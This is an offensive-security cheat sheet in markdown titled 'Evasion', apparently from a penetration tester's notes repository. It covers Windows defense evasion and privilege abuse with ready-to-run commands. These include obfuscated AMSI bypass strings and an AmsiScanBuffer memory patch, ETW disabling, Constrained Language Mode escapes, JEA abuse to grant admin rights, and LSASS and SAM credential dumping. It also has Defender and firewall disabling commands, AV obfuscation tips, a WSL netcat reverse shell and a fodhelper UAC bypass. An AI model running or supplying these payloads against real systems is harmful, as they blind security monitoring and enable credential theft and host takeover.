Skip to content

Latest commit

 

History

History
674 lines (565 loc) · 22.3 KB

Evasion.md

File metadata and controls

674 lines (565 loc) · 22.3 KB

Evasion

Index

General

Get all GPO's applied to a machine

  • Run with elevated prompt
gpresult /H gpos.html

Powershell detections

  • System-wide transcription
  • Script Block logging
  • AntiMalware Scan Interface (AMSI)
  • Constrained Language Mode (CLM) - Integrated with Applocker and WDAC (Device Guard)

PowerShell

Start 64 bit powershell

%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe

Execution-policy

Get Execution policy

Get-Executionpolicy

Bypass execution policy

  • Not meant to be a security measure
powershell –executionpolicy bypass .\script.ps1
powershell –c <cmd>
powershell –enc
powershell.exe -executionpolicy bypass

AMSI

AMSI bypass string

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

AMSI bypass string obfuscated

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
$v=[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils'); $v."Get`Fie`ld"('ams' + 'iInitFailed','NonPublic,Static')."Set`Val`ue"($null,$true)

AMSI bypass string 2 obfuscated

$MethodDefinition = @"
[DllImport(`"kernel32`",  EntryPoint="GetProcAddress")]
public static extern IntPtr GetProc(IntPtr hModule, string procName);

[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport(`"kernel32`",EntryPoint="VirtualProtect" )]
public static extern bool Virtual(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@;
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kern' -NameSpace 'W' -PassThru;
$ABSD = 'Ams'+'iS'+'canBuffer';
$handle = [W.Kern]::GetModuleHandle('ams'+'i.dll');
[IntPtr]$BAddress = [W.Kern]::GetProc($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$PFlag = 0x40;
[UInt32]$OFlag = 0;
[W.Kern]::Virtual($BAddress, $Size, $PFlag, [Ref]$OFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BAddress, 6);

ETW

  • Event Tracing for Windows
  • Very effective way of hunting .NET
  • Reflectivly modify the PowerShell process to prevent events being published. ETW feeds ALL of the other logs so this disabled everything!
[Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static'); $EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid()); $EtwProvider.SetValue($null, $EventProvider);

Obfusacted

[Reflection.Assembly]::"l`o`AdwIThPa`Rti`AlnamE"(('S'+'ystem'+'.C'+'ore'))."g`E`TTYPE"(('Sys'+'tem.Di'+'agno'+'stics.Event'+'i'+'ng.EventProv'+'i'+'der'))."gET`FI`eLd"(('m'+'_'+'enabled'),('NonP'+'ubl'+'ic'+',Instance'))."seTVa`l`Ue"([Ref]."a`sSem`BlY"."gE`T`TyPE"(('Sys'+'tem'+'.Mana'+'ge'+'ment.Aut'+'o'+'mation.Tracing.'+'PSEtwLo'+'g'+'Pro'+'vi'+'der'))."gEtFIe`Ld"(('e'+'tw'+'Provid'+'er'),('N'+'o'+'nPu'+'b'+'lic,Static'))."gE`Tva`lUe"($null),0)

Constrained Lanuage Mode

Check the language mode

$ExecutionContext.SessionState.LanguageMode

Escapes for Constrained Language Mode

Launch Powershell Version 2

Powershell.exe -Version 2

Overwrite __PSLockdownPolicy variable

  • If CLM is not implemented correctly and is using __PSLockdownPolicy

Check the __PSLockdownPolicy value

  • Value 4 is enabled
  • Value 8 is disabled
(Get-ItemProperty 'hklm:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -name "__PSLockdownPolicy").__PSLockDownPolicy

Set lockdown policy to 8 and check language mode

Set-ItemProperty 'hklm:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -name "__PSLockdownPolicy" -Value 8
powershell.exe
$ExecutionContext.SessionState.LanguageMode

PowerShx

rundll32 PowerShx.dll,main -i 
PowerShx.exe -i  

PowerShdll Run PowerShell with dlls only.

rundll32 PowerShdll,main -i

Download files with certutil

  • You can not use iwr but you can use certutil in constrained language mode
certutil -urlcache -split -f <URL>

Execute scripts

  • It is possible to execute scripts on the filesystem but you can't load them!
  • If applocker is there enumerate it to find a directory that lets you execute scripts in

Logging evasion

Script Block logging bypass

System Wide Transcript

Invisi-shell

With admin privileges

./RunWithPathAsAdmin.bat 

With non-admin privileges:

RunWithRegistryNonAdmin.bat
Winrs
  • Use Winrs instead of PSRemoting to evade System-wide-transcript and deep script block logging
winrs -remote:server1 -u:<COMPUTERNAME>\<USER> -p:<PASS> hostname

Just Enough Admin

  • Defines allowed cmdledt and commands that are allowed by defining role capabilities.

Connect with JEA endpoint

  • Use DOMAIN\USER format
$creds = get-credential
$sess = New-PSSession -ComputerName <FQDN> -ConfigurationName <JEA ENDPOINT CONF NAME> -Credential $creds

Get the PSSession configurations (and JEA)

Get-PSSessionconfiguration

Get PSSession capabilities

Get-PSSessionCapability -ConfigurationName <NAME> -Username <DOMAIN>\<USERNAME>

Abuse JEA

Get-Command

# Abuse example
Start-Process cmd.exe calc.exe

Abuse - Grant a user to admin

Add-ADGroupMember, Add-LocalGroupMember, net.exe, dsadd.exe

Abuse - Running arbritary code

Start-Process, New-Service, Invoke-Item, Invoke-WmiMethod, Invoke-Command,
New-ScheduledTask, Register-ScheduledJob

Invoke-Command -ScriptBlock {net localgroup administrators <USER> /add}

Abuse - Set-PSSessionConfiguration

Connect and check the config

$sess = New-PSSession -ComputerName <FQDN> -Credential $creds -ConfigurationName <ENDPOINT>
Enter-PSSession $sess
Get-PSSessionConfiguration

Get original SDDL

$existingSDDL = (Get-PSSessionConfiguration -Name "<PROFILE>" -Verbose:$false).SecurityDescriptorSDDL

Get SID for new user to add

$SID = (Get-DomainUser <USER>).Objectsid

Create new SDDL with a new USER SID

$isContainer = $false  
$isDS = $false  
$SecurityDescriptor = New-Object -TypeName Security.AccessControl.CommonSecurityDescriptor -ArgumentList $isContainer,$isDS, $existingSDDL
$accessType = "Allow"  
$accessMask = 268435456  
$inheritanceFlags = "none"  
$propagationFlags = "none"  
$SecurityDescriptor.DiscretionaryAcl.AddAccess($accessType,$SID,$accessMask,$inheritanceFlags,$propagationFlags) | Out-Null
$newSDDL = $SecurityDescriptor.GetSddlForm("All")
$newSDDL

Change the config

Set-PSSessionConfiguration -name "<PROFILE>" -SecurityDescriptorSddl "<SDDL>" -force -Confirm:$false

Reconnect and check the config

$sess = New-PSSession -ComputerName <FQDN> -Credential $creds -ConfigurationName <ENDPOINT>
Enter-PSSession $sess
Get-PSSessionConfiguration

Connect to reconfigured new endpoint

$sess2 = New-PSSession -ComputerName <FQDN> -Credential $creds2 -ConfigurationName <RECONFIGURED ENDPOINT>
Enter-PSSession $sess
Get-PSSessionConfiguration

Applocker

  • AppLocker rules are split into 5 categories - Executable, Windows Installer, Script, Packaged App and DLLs, and each category can have its own enforcement (enforced, audit only, none).
  • AppLocker has a set of default allow rules such as, "allow everyone to execute anything within C:\Windows*" - the theory being that everything in C:\Windows is trusted and safe to execute.
  • The difficulty of bypassing AppLocker depends on the robustness of the rules that have been implemented. The default rule sets are quite trivial to bypass in a number of ways:
    • Executing untrusted code via trusts LOLBAS's.
    • Finding writeable directories within "trusted" paths.
    • By default, AppLocker is not even applied to Administrators.
  • Uploading into C:\Windows requires elevated privileges, but there are places like C:\Windows\Tasks that are writeable by standard users.
  • DLL enforcement very rarely enabled due to the additional load it can put on a system, and the amount of testing required to ensure nothing will break.
  • Good repo for bypasses: https://github.com/api0cradle/UltimateAppLockerByPassList

Check if applocker policy is running

Get-AppLockerPolicy -Effective

Enumerate applocker policy

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Check applocker policy in registery

reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2

Check policy with GPOresult

  • Open the HTLM file locally
gpresult /H gpos.html

Parse GPO applocker

Get-DomainGPO -Identity *applocker*
Parse-PolFile "<GPCFILESYSPATH FROM GET-DOMAINGPO>\Machine\Registry.pol" | select ValueName, ValueData

Check for WDAC

Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

If code integrity is enforced and PowerShell is running in Constrained Langauge Mode use winrs instead of psremoting

runas /netonly /user:<DOMAIN\<USER> cmd.exe
winrs -r:<PC NAME> cmd

Check for the policy

  • .p7b is a signed policy
  • Check if there are any .xml files which didn't got removed with the policy
ls C:\Windows\system32\CodeIntegrity

LOLBAS

rundll32.exe and comsvcs.dll dumping lsass:

Get-Process | Select-String lsass
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 708 C:\Users\Public\lsass.dmp full
dir C:\Users\Public\lsass.dmp

Invoke-Mimikatz -Command '"sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords"'

Rex.exe dumping sam

reg save HKLM\SECURITY security.bak
reg save HKLM\SYSTEM system.bak
reg save HKLM\SAM sam.bak

Invoke-Mimikatz -Command '"lsadump::sam system.bak sam.bak"'
secretsdump.py -sam sam.bak -security security.bak -system system.bak local

Windows Defender

Check if windows defender is running

Get-MpComputerStatus
Get-MpComputerStatus | Select RealTimeProtectionEnabled

Get info about Windows Defender

Get-MpPreference

Find excluded folder from Windows Defender

Get-MpPreference | select Exclusion*
(Get-MpPreference).Exclusionpath

Create exclusion

Set-MpPreference -ExclusionPath "<path>"

Parse GPO applocker

Get-DomainGPO -Identity *defender*
Parse-PolFile "<GPCFILESYSPATH FROM GET-DOMAINGPO>\Machine\Registry.pol" | select ValueName, ValueData

Disable AV monitoring

Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPReference -DisableIOAVProtection $true

powershell.exe -c 'Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true'

Disable Firewall

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False 

powershell.exe -c 'Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False'

Open port on firewall

netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT>

Defeating AV

Obfuscation tools

C# binaries

  1. Launch ConfuserEx
  2. In Project tab select the Base Directory where the binary file is located.
  3. In Project tab Select the Binary File that we want to obfuscate.
  4. In Settings tab add the rules.
  5. In Settings tab edit the rule and select the preset as Normal.
  6. In Protect tab click on the protect button.
  7. We will find the new obfuscated binary in the Confused folder under the Base Directory.

Go binaries

Powershell

Evasion techniques

  • Most examples are in PowerShell but techniques can be implemented in every coding language

Things that get you caught

  • Using Templates; MSbuild template / scripts / etc
  • Not changing variable & function names
  • Not removing comments
  • Not obfuscating common code exec patterns
    • Appplies to scripts, templates & Compiled code
  • Not changing error messages etc.
  • Entropy
    • Rougly - high entropy = more random
    • Higher entropy = less compressible
    • Problem: we encrypt shellcode to evade
    • encrypted shellcode = more random -> higher entropy
    • Dont randomize all the things
      • Changing default variable/func. names is good, but random characters is bad. Use two-word pairs.

How amsi evaluates PowerShell commands

  • The code is evaluated when its readable by the scripting engine
  • This is what allows us to still be able to obfuscate our code
# This
powershell -enc VwByAGkAdABlAC0ASABvAHMAdAAoACIASABlAGwAbABvACAAVwBvAHIAbABkACIAKQA=

# Becomes
Write-Host("Hello World")

# But This
Write-Host("He" + "llo" + "World")

# Does not become
Write-Host("Hello World")

Change the following in scripts/code

Hash of file/code

Byte strings

  • Change variable names
    • $variablename = "amsicontext" to $LoremIpsum = "amsicontext"
    • Dont randomize all the things
      • Changing default variable/func. names is good, but random characters is bad. Use two-word pairs (Example: DragonBerrySmasher)
  • Concatenation
    • "amsicontext" to "am" + "si" + "con" + "te" + "xt"
  • Variable insertion
    • $variablename = 'context' into $variablename2 = "Amsi$variablename"
    • C# string variablename = "context"; string variablename2 = $"amsi{variablename}";
    • Format string
      • $variablename = "amsi{0}text -f "con"
      • $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80); to $client = New-Object ("{0}{1}" -f 'SySteM.Ne', 'T.SoCkEts.TCPCliEnt')("10.10.10.10",80);
      • C# string variablename = "context"; string variablename2 = String.Format("amsi{0}",variablename);
  • Potentially the order of execution
  • Obfuscating shellcode
  • Lower entropy
    • Languages are not random
    • Create an array with a dictionary and compile it with the code (disable compiler optimization)
  • Misc
[DllImport("kernel32")]
	private static extern IntPtr VirtualAlloc(
	UInt32 lpStartAddr, 
	UInt32 size, 
	UInt32 flAllocationType, 
	UInt32 flProtect);

[DllImport("kernel32, EntryPoint = VirtualAlloc",
	SetLastError = false, ExactSpelling = true)]
	private static extern IntPtr SplendidDragon(
	UInt32 lpStartAddr, 
	UInt32 size, 
	UInt32 flAllocationType, 
	UInt32 flProtect);

Structure of the code

  • Change methods and lines of code around.

Example of changing amsi bypass string

# Original amsi bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# New
$v=[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils'); $v."Get`Fie`ld"('ams' + 'iInitFailed','NonPublic,Static')."Set`Val`ue"($null,$true)

Defeating Microsoft Defender

  1. Run Threatcheck .\ThreatCheck.exe -f .\shell.exe
  2. Replace string which gets detected.
  3. Recompile and check again!

Scanning amsi

Threatcheck

.\ThreatCheck.exe -f .\shell.ps1 -e AMSI

AmsiTrigger

.\AmsiTrigger.exe -i .\shell.ps1 -f 2

Offensive .NET

C:\Users\Public\Loader.exe -path http://xx.xx.xx.xx/something.exe

Use custom exe Assembyload to run netloader in memory and then load binary

C:\Users\Public\AssemblyLoad.exe http://xx.xx.xx.xx/Loader.exe -path http://xx.xx.xx.xx/something.exe

Random notes

pyinstaller.exe --onefile .\CVE-2021-1675.py
pyarmor pack --clean -e "--onefile " .\CVE-2021-1675.py

Windows Subsystem for Linux WSL

  • AVs which do not use Pico process APIs have no visibility of the processes executed using WSL. This provides better chances of bypass.
  • With the additional Linux tooling included (like Python), WSL increases the attack surface of a machine and the opportunities to abuse the new functionality.

Netcat shell

wsl.exe mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc <IP> <PORT> 1>/tmp/backpipe

Bypass whitelisting

  • In both the above cases, the Windows application will have: – Same permissions as the WSL process. – Run as the current Windows user. – Uses the working directory as the WSL command prompt. That is we can access the Windows file system from WSL.
bash.exe -c cmd.exe
wsl.exe cmd.exe

Privileges

Check current privileges

whoami /priv

SeDebugPrivileges

Export the current user rights set by the group policies to a text file:

secedit /export /cfg secpolicy.inf /areas USER_RIGHTS

Edit the secpolicy.ing

  • Change the SeDebugPrivileges to S-1-5-32-544 the Local administrator group.
notepad.exe secpolicy.inf

Save the new user rights set

secedit /configure /db secedit.sdb /cfg secpolicy.inf /overwrite /areas USER_RIGHTS

Start cmd again

  • Check privileges with whoami if not having SeDebugPrivilege do PsExec.exe -i cmd.exe

Enable SMB shares for local admin users

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "LocalAccountTokenFilterPolicy" /t REG_DWORD /d 1 /f
Get-service LanmanServer | restart-service -verbose

UAC bypass

.\Akagi64.exe <METHOD> <EXECUTABLE>
.\Akagi64.exe 34 cmd.exe

Manual UAC bypass

Fodhelper

  • Can also use C:\Windows\System32\cmd.exe /c powershell.exe
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "<PATH TO EXE>" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
 
# Cleanup
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Check current UAC configuration

  • The default configuration for UAC is Prompt for consent for non-Windows binaries, but can also have different settings such as Prompt for credentials, Prompt for consent and Elevate without prompting.
Seatbelt.exe uac